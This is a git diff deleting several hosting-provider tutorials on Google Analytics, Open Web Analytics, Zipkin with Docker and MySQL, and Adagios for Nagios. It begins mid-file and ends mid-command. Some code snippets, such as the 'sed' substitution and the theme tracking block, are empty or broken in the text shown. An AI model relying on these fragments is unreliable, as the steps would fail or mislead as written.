-(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), -m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) -})(window,document,'script','//www.google-analytics.com/analytics.js','ga'); - -ga('create', 'UA-00000000-0', 'auto'); -ga('send', 'pageview'); - -{{< /file >}} - - - {{< note respectIndent=false >}} -At this time you may want to consider enabling the *[demographics](https://support.google.com/analytics/answer/2819948?hl=en)* feature of Google Analytics. If you decide to do so, you will need to add an additional line of code to your JavaScript in the steps below. Insert the following between the lines containing `ga('create', 'UA-00000000-0', 'auto');` and `ga('send', 'pageview');`: - - ga('require', 'displayfeatures'); - -Should you decide to disable the demographics feature at a later date, simply remove the above code. -{{< /note >}} - -7. Use the `sed` command to insert a link to the JavaScript file holding your tracking code. Sed which will search for and replace all instances of your `` tag with ``: - - sed -i 's@@@g' *.html - - {{< note respectIndent=false >}} -Change the `.html` ending to match the ending of your website's files. -{{< /note >}} - -8. To check that the code has been successfully inserted into your `.html` files, you can either open up your website in your browser and view the source code, or view a file in your terminal. The following should appear in conjunction to your `` tag: - - {{< file "/var/www/example.com/public_html/index.html" >}} - - -{{< /file >}} - - - You have now added Google Analytics to your website! It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. - diff --git a/docs/guides/uptime/analytics/google-analytics-on-wordpress/index.md b/docs/guides/uptime/analytics/google-analytics-on-wordpress/index.md deleted file mode 100644 index 40cc6b275b3..00000000000 --- a/docs/guides/uptime/analytics/google-analytics-on-wordpress/index.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -slug: google-analytics-on-wordpress -title: Google Analytics for WordPress -description: 'Get in-depth website visitor statistics with Google Analytics on your WordPress website.' -authors: ["Elle Krout"] -contributors: ["Elle Krout"] -published: 2015-01-29 -keywords: ["analytics", "google analytics", "wordpress", "analytics", "tracking", "statistics"] -tags: ["wordpress","statistics","analytics"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Analytics Help](https://support.google.com/analytics/?hl=en#topic=3544906)' - - '[Google Analytics Developers](https://developers.google.com/analytics/)' - - '[Google Analytics for Websites](/cloud/guides/google-analytics-for-websites/)' -aliases: ['/uptime/analytics/google-analytics-on-wordpress/'] ---- - -Google Analytics offers detailed statistics related to visitor traffic and sales for your website, allowing you to better know your audience. It can be beneficial to any website owner interested in growing their visitor base. - -This guide provides three ways to add Google Analytics to WordPress: By directly adding the analytics code to your theme and two plugin options. Prior to using this guide, you should have completed our [Manage Web Content with WordPress](/cloud/guides/how-to-install-and-configure-wordpress/) guide and have a fully configured WordPress website set up. - -{{< note >}} -The steps in this guide require root privileges. Be sure to run the steps below as `root` or with the `sudo` prefix. For more information on privileges, see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Sign Up for Google Analytics - -Prior to adding Google Analytics to your website, you need to sign up for a Google Analytics account. - -1. Navigate to the [Google Analytics](http://www.google.com/analytics) website, then click the **Access Google Analytics** button at the top right. - -2. Click **Sign Up**. - -3. Be sure the **Website** option is selected, then enter your account information as desired. Be sure that your website URL is accurate. - - ![Google Analytics account creation](googleana-wordpress-signup.png) - -4. Press **Get Tracking ID**, and read through and accept the Google Analytics Terms of Service. - -5. Make sure to note the **Tracking ID** and **tracking code**, you will use them again in this guide. - -You are now set up with Google Analytics and can decide how to proceed with adding the code to your WordPress website: [Through your theme](#add-google-analytics-through-a-theme) or [through a plugin](#add-google-analytics-through-a-plugin). - -## Add Google Analytics Through a Theme - -WordPress uses PHP includes, so adding a Google Analytics code is as easy as altering a single file in your WordPress theme. - -{{< note >}} -This guide assumes you have configured your LAMP server as described in our guides, with your publicly accessible directory located at something similar to `/var/www/example.com/public_html`. Replace all instances of `example.com` with your own domain information. -{{< /note >}} - -1. Navigate to your theme directory: - - cd /var/www/example.com/public_html/wp-content/themes - -2. Use the `ls` command to see your list of theme folders. Note the folder name of the theme are you *currently* using: - - ls - -3. Navigate to the folder that denotes the *current* theme you are using. In this example we are using the default Twenty Fifteen theme: - - cd twentyfifteen - -4. Open `header.php` and add your Google Analytics **tracking code** underneath the `>` tag: - - {{< file "/var/www/example.com/public_html/wp-content/themes/header.php" >}} -/** - * Google Analytics code block -*/ - - - -{{< /file >}} - - - {{< note respectIndent=false >}} -If you copy the above code, replace `UA-00000000-0` with your **tracking ID**. - -At this time you may want to consider enabling the *[demographics](https://support.google.com/analytics/answer/2819948?hl=en)* feature of Google Analytics. If you decide to do so, you will need to add an additional line of code to your JavaScript in the steps below. Insert the following between the lines containing `ga('create', 'UA-00000000-0', 'auto');` and `ga('send', 'pageview');`: - - ga('require', 'displayfeatures'); - -Should you decide to disable the demographics feature at a later date, simply remove the above code. -{{< /note >}} - -5. To determine the success of the above process, open your WordPress website in a browser, then right click and select View Page Source. You should see the Google Analytics code inserted below the `` tag. It is highlighted in the below example: - - ![Google Analytics source check](googleana-wordpress-source.png) - -Congratulations! You have added Google Analytics to your WordPress website. It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. Please note that if you change the theme you will have to redo the above steps. - -## Add Google Analytics Through a Plugin - -This section explores adding Google Analytics to a WordPress website through two popular plugins. These plugins both add Google Analytics dashboards to your administration interface and insert the tracking code into your theme. If you have already added Google Analytics through the above method, these plugins can complement that process by adding in-dashboard features, should you desire to view your analytics within WordPress itself. - -If you do not want to incorporate an added dashboard to WordPress, and would rather monitor your visitors and demographics from the Google Analytics website, consider using the method of adding your code through your chosen theme, [as shown above](#add-google-analytics-through-a-theme). - -### Google Analytics Dashboard for WP - -The Google Analytics Dashboard for WP is a comprehensive WordPress plugin that incorporates Google Analytics to your dashboard home, allowing you to track changes in visitors from the moment you log in. It is a powerful plugin that also offers both backend and frontend features allowing you to share the Google Analytics results with everyone from visitors to blog contributors. - -1. Prior to installing the Google Analytics for WP plugin you will need to add **PHP Curl** to your Linode. Log in to your server through SSH to update and install PHP Curl: - - apt-get update && apt-get install php5-curl - -2. Log in to your WordPress dashboard and navigate to the **Add New** link under the Plugins menu. Search for, download, and enable [Google Analytics for WP](https://wordpress.org/plugins/google-analytics-dashboard-for-wp/). A Google Analytics link will be added to the navigation pane to the left. - -3. Click on the **Google Analytics** link and select **Authorize Plugin**. It will ask for an access code, which you can acquire by clicking the **Get Access Code** link. You will need to log in to your Google account and allow the plugin to view your Google Analytics data. - - ![Google Analytics Dashboard for WP](googleana-wordpress-forwp1.png) - -4. Copy the resulting code and insert it in the appropriate text field. From here, you can select the appropriate domain and alter other settings as needed. - -5. If you have not already inserted the tracking code within your website, make sure **Tracking Options** under the **Tracking Code** link is set to **Enabled**. Otherwise, this can be disabled. - - ![Google Analytics Dashboard for WP tracking enabled](googleana-wordpress-forwp2.png) - -Google Analytics Dashboard for WP has now been set up and configured. You can proceed to use WordPress as usual. It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. - - -### Google Analytics by Yoast - -Google Analytics by Yoast inserts a Google Analytics section to your WordPress dashboard, and adds your tracking code to your website. Google Analytics by Yoast allows for wider customization of your analytics within your WordPress administration interface, but cannot be shared with other authors or visitors of your WordPress website. - -1. Log in to your WordPress dashboard and navigate to the **Add New** link in the Plugins menu. Search for, download, and extract [Google Analytics by Yoast](https://wordpress.org/plugins/google-analytics-for-wordpress/). Once activated, a Google Analytics link is added to the left navigation pane. - -2. Click on the **Analytics** link. You will need to authenticate with your Google account by selecting the authenticate button, logging in to your Google account and allowing Google Analytics by Yoast to view your Google Analytics data. - -3. Copy the resulting code and paste it into the box. From here, select the domain you are using Google Analytics for and alter other settings as needed. Be aware that if your domain information is not entered correctly, this plugin does not work. - - ![Google Analytics by Yoast](googleana-wordpress-yoast.png) - -Google Analytics by Yoast has now been set up. It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. - diff --git a/docs/guides/uptime/analytics/open-web-analytics-install-and-launch-on-your-server/index.md b/docs/guides/uptime/analytics/open-web-analytics-install-and-launch-on-your-server/index.md deleted file mode 100644 index 748b3b87b9b..00000000000 --- a/docs/guides/uptime/analytics/open-web-analytics-install-and-launch-on-your-server/index.md +++ /dev/null @@ -1,194 +0,0 @@ ---- -slug: open-web-analytics-install-and-launch-on-your-server -title: 'Open Web Analytics (OWA): Install & Launch on Your Server' -description: This guide will show how to install Open Web Analytics (OWA) on CentOS 6.5, 7, Debian or Ubuntu. -authors: ["Douglas Colby"] -contributors: ["Douglas Colby"] -published: 2016-01-05 -keywords: ['open web analytics','owa','mysql','analytics'] -tags: ["centos","debian","ubuntu","analytics","statistics","mysql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[OWA Website](http://www.openwebanalytics.com)' - - '[OWA Forum](http://www.openwebanalytics.com/?page_id=4)' -aliases: ['/uptime/analytics/open-web-analytics-install-and-launch-on-your-server/'] ---- - -Open Web Analytics (OWA) is an open-source alternative to commercial web analytics software. Use it to track and analyze traffic on your websites and applications. OWA analytics can easily be added to pages with simple Javascript, PHP, or REST based APIs. OWA also comes with built-in support for tracking websites made with popular content management frameworks such as WordPress and MediaWiki. - -## Before you Begin - -1. This guide assumes that you have your Linode already set up and running, that you have followed: - - - The [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide. - - The [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides. - - That the Linode's [hostname is set](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and has a FQDN. - - - {{< note respectIndent=false >}} -The steps required in this guide require root privileges. Be sure to run the steps below as **root** or with the `sudo` prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - -Your server must be configured with a fully qualified domain name (FQDN) and not just an IP address. If needed, you can use the address provided in the **Networking** tab next to your public IP address. -{{< /note >}} - - -2. Make sure your system is up-to-date: - - - **CentOS** - - yum update - - - **Debian & Ubuntu** - - apt-get update && apt-get upgrade - -3. Install the supporting software packages: - - - **CentOS** - - yum install httpd php php-mysql mysql-server mariadb-server - - {{< note respectIndent=false >}} -This command is designed to work with CentOS 6, which uses MySQL as the default database and CentOS 7 which uses MariaDB. You will get a notice when installing that the other package is not available. -{{< /note >}} - - - **Debian & Ubuntu** - - apt-get install apache2 php5 php5-mysql mysql-server - -4. CentOS users will need to enable and activate the `httpd` and `mariadb` services: - - - **CentOS 7** - - systemctl enable mariadb - systemctl start mariadb - systemctl enable httpd - systemctl start httpd - - - **CentOS 6** - - chkconfig mysqld on - service mysqld start - chkconfig httpd on - service httpd start - - Debian and Ubuntu users will need to restart the Apache2 daemon: - - service apache2 restart - -## Set up MySQL - -1. Run `mysql_secure_installation` to secure your database: - - mysql_secure_installation - - You should answer yes to most of the prompts. CentOS users, make sure to set a strong password for the root user since it is initially blank. This is the root user for `mysql` and is not related to the system's root user. - -2. Enter the MySQL CLI: - - mysql -u root -p - - You'll need to enter the password you set in the step above, or when you installed `mysql-server`. - -3. Create a database named `owadb`: - - {{< highlight sql >}} -CREATE DATABASE owadb; -{{< /highlight >}} - -4. Create a user named `owadbuser`. Replace the example password, `owadbpassword`, with a strong password of your choice. This information will be needed later to configure OWA. - - {{< highlight sql >}} -GRANT ALL PRIVILEGES ON owadb.* TO owadbuser@localhost IDENTIFIED BY 'owadbpassword'; -{{< /highlight >}} - -5. Exit the MySQL CLI: - - {{< highlight sql >}} -FLUSH PRIVILEGES; -{{< /highlight >}} - - quit - -## OWA - -### Install - -1. Navigate to your document root folder for your webserver, usually `/var/www/html` by default.: - - cd /var/www/html - -2. Download the OWA package: - - wget https://github.com/padams/Open-Web-Analytics/archive/1.5.7.tar.gz - - {{< note respectIndent=false >}} -Version 1.5.7 is the current version and may be different by the time you read this. Please check [The Open Web Analytics](http://www.openwebanalytics.com/) site for the latest information. -{{< /note >}} - -3. Unpack the downloaded file: - - tar xf 1.*.tar.gz - -4. Change ownership of the `owa` folder to the Apache daemon user: - - - **CentOS** - - chown -R apache:apache Open* - - - **Debian & Ubuntu** - - chown -R www-data:www-data Open* - -5. **Recommended:** Rename the OWA folder: - - mv Open-Web-Analytics-1.5.7 owa - -6. Delete the tar file: - - rm -rf 1.*.tar.gz - -### Configure - -1. Navigate to the OWA installation page in your web browser. Replace `your.domain` with your Linode's IP address or FQDN: - - http://your.domain/owa/ - - -2. After clicking on **Let's Get Started**, you should see a configuration page for your OWA installation. OWA will automatically fill in the first field with the path to your OWA installation. You will need to fill in the other fields on the page with the information you set in the MySQL CLI: - - ![Open Web Analytics set up screen.](owa-install.png) - -3. Click **Continue...**. - -4. Create a user account and define a domain to track. You will log in to see your OWA statistics through this user account. - - {{< note type="alert" respectIndent=false >}} -This process will display your password in plaintext once complete. Be careful if performing these steps in a public location. -{{< /note >}} - -## Using OWA - -You will need to create site profiles and add JavaScript or PHP code to your website pages to use OWA. - -1. Log in to your OWA installation. In your browser go to: - - http://your.domain/owa/index.php - -2. The first time you login OWA will present you with a tracking tag (a code snippet) for the domain you defined when you created your user account. This code should be added to the html pages of the site you wish to track. - -3. Once the tracking tag has been added to your website pages, analysis data can be viewed under the "Reporting" section (click the button at the top of the page) which will take you to the Sites Roster page. - -4. To add more sites to track, click "Add New" at the top left of the page. - -5. On the resulting page you will see near the top a section named "Add a New Tracked Site Profile". Enter the domain name of the site you want to track and click Save Profile. The other two fields are for your information only and are, therefore, optional. - - {{< note type="alert" respectIndent=false >}} -You must click "Save Profile" before trying to enter any of the settings below this button. Failure to do so will result in a blank white page and your new site not being added. Recovery simply requires a click of the back button in your browser. -{{< /note >}} - -6. Click on "Reporting" in the top left corner to return to the Sites Roster page. In the list of tracked sites, find your new site and click "Get Tracking Code". - -7. Copy the tracking code in the language of your choice (JavaScript or PHP) and paste the code into your websites' pages. Now whenever someone loads a page with the tracking code, OWA will know about it and the data will show up in the reports. - -8. Click "View Reports" in the Sites Roster page and begin happy analyzing! diff --git a/docs/guides/uptime/analytics/zipkin-server-configuration-using-docker-and-mysql/index.md b/docs/guides/uptime/analytics/zipkin-server-configuration-using-docker-and-mysql/index.md deleted file mode 100644 index f4f43912166..00000000000 --- a/docs/guides/uptime/analytics/zipkin-server-configuration-using-docker-and-mysql/index.md +++ /dev/null @@ -1,299 +0,0 @@ ---- -slug: zipkin-server-configuration-using-docker-and-mysql -title: 'Zipkin Server Configuration Using Docker and MySQL' -description: 'This guide shows you how to use Zipkin in a docker container for the purpose of tracking systems to collect and search timing data in order to identify latency problems.' -authors: ["Luis Cortés"] -contributors: ["Luis Cortés"] -published: 2017-10-04 -modified: 2017-10-27 -keywords: ["zipkin", "Docker", "tracking"] -tags: ["docker","statistics","fedora","analytics"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/uptime/analytics/zipkin-server-configuration-using-docker-and-mysql/','/uptime/zipkin-server-configuration-using-docker-and-mysql/'] -external_resources: - - '[Official ZipKin Documentation](http://zipkin.io/)' ---- - -[Zipkin](http://zipkin.io/) is a used for capturing timing data, it also has a centralized repository, and a microweb server that allows you to display, and search through spans and traces of your distributed programs or websites. - -We can configure Zipkin by [deploying it in a Docker container](http://zipkin.io/pages/quickstart). Using this approach, we can match the latest version of Zipkin by just pulling down the latest images. You can Isolate the Docker service and dependencies to just the container(s), and chose where you want your data to persist. Most importantly, by using Docker, you can spend more time focused on data analysis, instead of spending time on configuring a Zipkin as a service. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. This guide will use the hostname 'zipkinhost'. Also, do **not** follow the Configure a Firewall section yet. This guide includes firewall rules specifically for a Zipkin server. - -3. Assuming you know how to instrument a Zipkin client machine or have walked through our [Set Up a Zipkin Server with Sample Website Tracking](/cloud/guides/set-up-a-zipkin-server/) guide. - -4. You will need an analyst system (laptop or workstation) with a web browser. This system will be used to view the traces/spans in the Zipkin server through the Zipkin provided webservice. - -While Zipkin can be installed on a variety of distributions, this guide uses Fedora 26 in the examples to configure both the server and client Linodes. Remember to adjust any distribution-specific commands, and replace the example IPs, `192.0.2.0` and `203.0.113.0`, with the IP addresses of your Zipkin server and analyst machine, respectively. - -## The Target Scenario - -Our main task is setting up a Zipkin server with MySQL, so that the spans/traces persist on the host file. - -## Zipkin Server Configuration - -### Install Package Dependencies - -1. Log into your Zipkin host machine and make sure your system is up to date: - - sudo dnf update && sudo dnf upgrade - -2. Add the Docker repository: - - sudo dnf install dnf-plugins-core - sudo dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo - -2. Install Docker CE: - - sudo dnf install docker-ce - -3. Enable Docker as a service: - - sudo systemctl enable docker.service - sudo systemctl start docker.service - -4. (Optional) Add your limited user account to the `docker` group, so that you can run Docker commands without using `sudo`: - - sudo usermod -aG docker username - - You can test your Docker installation by running `docker run hello-world`. - -5. Install Docker Compose: - - curl -LO https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` - sudo mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose - sudo chmod +x /usr/local/bin/docker-compose - - You can test the installation with `docker-compose --version`. - - {{< note respectIndent=false >}} -The current stable version of Docker Compose is 1.16.1. Check for the latest version at the [releases page](https://github.com/docker/compose/releases) and update the version in the `curl` command accordingly. -{{< /note >}} - -6. Install git: - - sudo dnf install git - -7. Use git to retrieve the Zipkin Docker-compose YAML files at [openzipkin/docker-zipkin](https://github.com/openzipkin/docker-zipkin). This is one of the powerful features of Docker, these files hold all of the system level configurations we need, to run several different Zipkin configurations. Like, Zipkin with MySQL, Zipkin with elasticsearch, and Zipkin with Kakfa. - - cd ~ - git clone https://github.com/openzipkin/docker-zipkin.git - -8. Install MySQL: - - sudo dnf install mysql - -## Configure Docker - -The Docker service will manage your containers, the container's host, Zipkin services, and your MYSQL server. - -![host layout](zipkin_docker_host_layout.png) - -Docker is in charge of starting and stopping these services automatically when the host system is rebooted. it'll help us to map the ports from the container to the host's ports and it'll manage exporting the MySQL database files onto the host system. Docker can check to see if the container has failed, and restart it for us too. The host is in charge of running the actual Docker service and setting the firewall correctly. - -Notice that the Zipkin container will expose port 9411 for its service, and the MySQL container will expose port 3306. We'll use the Docker-compose YAML files to forward port 9411 to the host's port 9411, so that the container will be accessible on the internet. - -#### Zipkin Server Firewall Concepts - -To avoid the server being compromised, limit the exposure of our Zipkin server to just our analyst and client machines. - -The default Fedora 26 firewall rules block all ports as a safety precaution. Create a new firewall zone to handle the Zipkin services without exposing too much of the system: - -Our goal is to set up the Zipkin Server for: - -* Thrift service: receiving data from clients -* Web service: showing searches of time data -* lock down access to only our web and analyst machines. - -## Zipkin Server Firewall - -1. Create a new zone in our firewall called **zipkin** - - sudo firewall-cmd --new-zone=zipkin --permanent - -2. Reload the firewall and refresh your zone list. - - sudo firewall-cmd --reload - -3. Add an analyst machine IP (If you forget to define any source IPs, you will have no filtering on your IPs. You need at least 1 source IP to start filtering on IPs. If there are no source IPs defined, any machine can connect to your server.) - - sudo firewall-cmd --zone=zipkin --add-source=203.0.113.0/32 --permanent - -4. Open a port through your firewall. - - sudo firewall-cmd --zone=zipkin --add-port=9411/tcp --permanent - -5. (Optional) Since we may want to access our machine from the analyst machine, it may be a good idea to add an ssh port. - - sudo firewall-cmd --zone=zipkin --add-service=ssh --permanent - -6. Reload your firewall rules to activate them in your new zone. - - sudo firewall-cmd --reload - -7. View your new zone: - - sudo firewall-cmd --zone=zipkin --list-all - -## Docker-Compose Configuration - -The **docker-compose yml** files will control which system configuration we can use. We're going to select a MySQL configuration for storage. - -1. Copy the MySQL docker-compose YAML file to your home directory and rename it docker-init.yml as we're going to need to make a few changes: - - cd ~ - cp docker-zipkin/docker-compose.yml docker-init.yml - -2. Open `docker-init.yml` in a text editor and edit the content as follows: - - {{< file "~/docker-init.yml" >}} -version: '2' - -services: - storage: - image: openzipkin/zipkin-mysql - container_name: mysql - # Uncomment to expose the storage port for testing - ports: - - 3306:3306 - volumes: - - dbfiles:/mysql/data - restart: unless-stopped - - zipkin: - image: openzipkin/zipkin - container_name: zipkin - # Environment settings are defined here https://github.com/openzipkin/zipkin/tree/1.19.0/zipkin-server#environment-variables - environment: - - STORAGE_TYPE=mysql - # Point the zipkin at the storage backend - - MYSQL_HOST=mysql - # Uncomment to enable scribe - # - SCRIBE_ENABLED=true - # Uncomment to enable self-tracing - # - SELF_TRACING_ENABLED=true - # Uncomment to enable debug logging - # - JAVA_OPTS=-Dlogging.level.zipkin=DEBUG - ports: - # Port used for the Zipkin UI and HTTP Api - - 9411:9411 - depends_on: - - storage - restart: unless-stopped - - dependencies: - image: openzipkin/zipkin-dependencies - container_name: dependencies - entrypoint: crond -f - environment: - - STORAGE_TYPE=mysql - - MYSQL_HOST=mysql - # Add the baked-in username and password for the zipkin-mysql image - - MYSQL_USER=zipkin - - MYSQL_PASS=zipkin - # Uncomment to adjust memory used by the dependencies job - - JAVA_OPTS=-verbose:gc -Xms512m -Xmx512m - depends_on: - - storage - restart: unless-stopped - -volumes: - dbfiles: - -{{< /file >}} - - - - In the MySQL container section in the docker-init.yml, export the MySQL data directory, forward the MySQL port to the host, and add the restart command so that this service is automatically restarted if it goes down. - - - In the Zipkin container section in the docker-init.yml, make sure the port 9411 is forwarded to the host machine and add the restart command so that this service is automatically restarted if it goes down. - - - In the dependencies container, we uncomment the JAVA_OPTS and set it to at least 512M. This setting is optimized for a 1G Linode. However, if in the future this container needs more memory, you can increase this value. Add a restart command to the end of this section. - - -3. You can now update your Zipkin Docker images by performing a `docker pull` command. This will check the web for the images we need (the first time), and all other times it'll update the images to the latest version if need be. - - docker-compose -f docker-init.yml pull - -4. Run your Docker services by using the `docker-compose up` command. Conversely there is also a `docker-compose down` command that can be used to shutdown your Zipkin services. - - docker-compose -f docker-init.yml up -d - - Notice the **-d** flag at the end of the command, this **detaches** the container. Now it's running as its own process. If we just left the machine, it would continue to run, even if we rebooted the machine, it would run when the Docker service started it, because we didn't explicitly issue a `docker-compose down` command. Just for reference, to shutdown the Zipkin services: - - docker-compose -f docker-init.yml down - -## Backup Span/Trace Data - -There are 2 different backup methods: using MySQL , and using sysadmin. - -#### MySQL Backup - -1. Ensure that the MySQL service is running on a container. You can check this with a `docker ps` command. The `docker ps` command displays the active containers: - - {{< file "docker -ps" >}} -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -023d14e6193d openzipkin/zipkin-dependencies "crond -f" 3 days ago Up 3 days dependencies -ee0c255b7765 openzipkin/zipkin "/bin/sh -c 'test ..." 3 days ago Up 3 days 9410/tcp, 0.0.0.0:9411->9411/tcp zipkin -43f659b36f17 openzipkin/zipkin-mysql "/bin/sh -c /mysql..." 3 days ago Up 3 days 0.0.0.0:3306->3306/tcp mysql - -{{< /file >}} - -2. If isn't running, make sure you start the Zipkin services with the `docker-compose up` command first. Then issue the MySQLdump with the following parameters from your Zipkin host machine. - - mysqldump --protocol=tcp -A -pzipkin -uzipkin > ~/database.bak - - This command will dump the entire MySQL database from your MySQL container into the file called database.bak in your home directory. Alternatively, you can just dump your Zipkin span/trace data with: - - mysqldump --protocol=tcp -pzipkin -uzipkin zipkin > ~/db_zipkin.bak - -#### Database Backups - -We can just zip or tar the exported database files on the host system. Since we don't know if the container is writing information to these files at any given time, we need to make sure that the container is stopped. - -1. We can check the status with a `docker ps` command or just perform a `docker down` command. - - docker-compose -f docker-init.yml down - - After the `docker down` command, we can perform a `docker ps` command and see that there are no containers running. That should look like this: - - CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES - -2. At this point, we can create a zip backup of your files. The db files will be prepended with the name of your user. If you are running as root it would be **root_dbfiles**, but running as root isn't recommended. - - sudo zip -r ~/db_files.zip /var/lib/docker/volumes/_dbfiles/ - -3. Remember to start your Zipkin services if they're still needed. They will not restart even on a reboot because we have explicitly shut them down. - -## Testing the Zipkin Service - -1. Easiest way to do this is by using your web browser on your analyst machine. Log into your analyst machine, bring up your browser, and type in the following URL: - - http://192.0.2.0:9411/zipkin/ - - If you see the Zipkin web page, you're done. - -2. If you don't see a web page, log into the Zipkin host machine, and make sure your containers are up by running either `docker ps` command or `docker-compose up` command. If the containers are not all running, it's possible that your Linode has run out of memory. - -3. Make sure your firewall port is open by typing: - - sudo firewall-cmd --add-port 9411/tcp --permanent - -4. At this point, what might have happened is that we added the wrong IP address of our analyst machine. We can check this by logging into our analyst machine. If our analyst machine is a Fedora workstation, we can install **nmap** and perform a network port status check to our Zipkin host machine like so: - - sudo dnf install -y nmap - nmap 192.0.2.0 -p 9411 -Pn - - A good return has an **open** for the STATE of the port, anything else and we probably don't have the right analyst machine IP address in our firewall rules: - - Starting Nmap 7.40 (https://nmap.org) at 2017-09-24 18:34 MDT - Nmap scan report for zipkin (192.0.2.0) - Host is up (0.10s latency). - PORT STATE SERVICE - 9411/tcp open unknown - - Review your firewall rules and try again. - diff --git a/docs/guides/uptime/monitoring/adagios-web-interface-for-nagios/index.md b/docs/guides/uptime/monitoring/adagios-web-interface-for-nagios/index.md deleted file mode 100644 index 04d2f6b8260..00000000000 --- a/docs/guides/uptime/monitoring/adagios-web-interface-for-nagios/index.md +++ /dev/null @@ -1,257 +0,0 @@ ---- -slug: adagios-web-interface-for-nagios -title: "Setting Up the Adagios Web Interface for Nagios" -description: "Adagios provides a clean and simplified approach to using the Nagios server-monitoring system. Learn everything you need to get started with Adagios in this tutorial." -authors: ['Nathaniel Stickman'] -contributors: ['Nathaniel Stickman'] -published: 2023-06-21 -keywords: ['adagios tutorial','nagios monitoring','nagios web interface'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[GitHub: opinkerfi/adagios - Users Guide](https://github.com/opinkerfi/adagios/wiki/Users-guide)' -- '[GitHub: opinkerfi/adagios - Using Adagios WEB API](https://github.com/opinkerfi/adagios/wiki/Using-Adagios-WEB-API)' ---- - -Adagios offers a more intuitive interface for observing and configuring the Nagios server-monitoring system. Adagios has the key features from Nagios readily available, while keeping the messier details out of the way. - -In this tutorial, learn how to get started with Adagios on a CentOS Stream 8 or similar system. Follow along to install Adagios and start using it to monitor your servers. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Your Linode Compute Instance needs to be running CentOS 8 or a comparable distribution. The instructions in this tutorial have been specifically tested on CentOS 8, but should be compatible with systems like AlmaLinux 8 and Rocky Linux 8 as well. - -1. Your Compute Instance needs to be on the Linode 8 GB Shared CPU plan, at minimum, as these instructions require a large amount of disk space. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Getting Started with Nagios - -Before diving into Adagios, you should have a base familiarity with Nagios, the tool that Adagios provides an interface for. If you are not familiar with Nagios, continue reading and follow the links below to learn more. - -### What Is Nagios? - -[Nagios](https://www.nagios.com/products/nagios-core/) is a widely used server-monitoring tool. Nagios provides robust server monitoring with highly configurable notification and alert options along with a host of official and community plugins. - -### How to Install Nagios - -Before getting started with Adagios, Nagios must be installed and configured on your system. To install Nagios, follow our [How to Install Nagios on CentOS 8](/cloud/guides/install-nagios-on-centos-8/) guide. - -Alternatively, refer to the official [installation documentation](https://support.nagios.com/kb/article/nagios-core-installing-nagios-core-from-source-96.html) for Nagios Core for details on installing Nagios on other operating systems. - -Keep in mind that Adagios is built primarily with CentOS and other RHEL-based systems in mind. For that reason, this tutorial focuses on CentOS Stream 8. The instructions should work similarly for distributions like AlmaLinux 8 and Rocky Linux 8. - -## How to Start Using Adagios with Nagios - -Adagios runs on top of Nagios to provide a cleaner and simpler interface for managing a Nagios server-monitoring instance. Follow along with this section of the tutorial to learn more about Adagios and get a full walkthrough for setting it up. - -### Why Use Adagios? - -[Adagios](http://adagios.org/) is a web interface for managing Nagios configurations. While Nagios comes with its own web interface, Adagios offers a more approachable dashboard for monitoring performance and managing a Nagios configuration. Adagios hides more of the low-level details, making it easier to get a quick view of a system and control the monitoring configuration. - -Additionally, Adagios provides a RESTful API for accessing and managing a Nagios instance. This makes Adagios a broadly useful enhancement to the default interfaces offered by Nagios. - -### Installing Adagios - -On most systems, the best way to install Adagios is from source. This approach makes the Adagios configuration easier to manipulate, which is necessary depending on where Nagios is installed. - -#### Setting Up the Prerequisites - -1. First, install dependencies for Adagios from the package manager: - - ```command - sudo dnf install epel-release - ``` - - ```command - sudo dnf config-manager --set-enabled powertools - sudo dnf install git acl mod_ssl python36 python36-devel python3-pip python3-setuptools make gcc-c++ - ``` - - ```command - sudo pip3 install --upgrade pip - ``` - -1. Install the Livestatus add-on for Nagios. The add-on provides features to enhance how status information about hosts and services are retrieved. Opin Kerfi, the maintainers of Adagios, also maintain a package to conveniently pull the Livestatus installation files: - - ```command - cd /tmp - wget https://droppa.ok.is/dl/data/8b15d652f132667abbf0b80dd9d956d4cc368d1c/mk-livestatus-1.2.6.tar.gz - tar -xvzf 